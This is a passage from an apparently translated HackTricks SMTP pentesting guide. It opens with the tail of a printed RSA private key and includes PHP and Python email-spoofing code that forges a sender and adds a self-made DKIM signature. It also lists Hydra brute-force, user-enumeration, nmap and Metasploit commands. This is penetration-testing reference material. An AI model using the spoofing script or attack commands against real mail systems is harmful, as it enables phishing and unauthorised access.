fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
{% endhint %}
Ya da manuel olarak yapabilirsiniz:
{% tabs %} {% tab title="PHP" %}
# Bu, imzasız bir ileti gönderecektir
mail("sizin_email@gmail.com", "Test Konusu!", "hey! Bu bir test", "Kimden: administrator@kurban.com");
{% endtab %}
{% tab title="Python" %}
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
{% endtab %} {% endtabs %}
Daha fazla bilgi
Bu korumalar hakkında daha fazla bilgiye buradan ulaşabilirsiniz.
Diğer phishing belirteçleri
- Alan adının yaşı
- IP adreslerine işaret eden bağlantılar
- Bağlantı manipülasyon teknikleri
- Şüpheli (sıradışı) ekler
- Bozuk e-posta içeriği
- Posta başlıklarındaki değerlerle farklı olan değerlerin kullanılması
- Geçerli ve güvenilir bir SSL sertifikasının varlığı
- Sayfanın web içerik filtreleme sitelerine gönderilmesi
SMTP aracılığıyla Veri Sızdırma
Eğer SMTP üzerinden veri gönderebiliyorsanız burayı okuyun.
Yapılandırma dosyası
Postfix
Genellikle, eğer yüklüyse, /etc/postfix/master.cf
dosyası kullanıcı tarafından alınan yeni bir e-posta olduğunda yürütülecek komut dosyalarını içerir. Örneğin, flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}
satırı, yeni bir e-posta kullanıcı mark tarafından alındığında /etc/postfix/filtering
dosyasının yürütüleceği anlamına gelir.
Diğer yapılandırma dosyaları:
sendmail.cf
submit.cf
Referanslar
- https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
- https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
HackTricks Otomatik Komutları
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.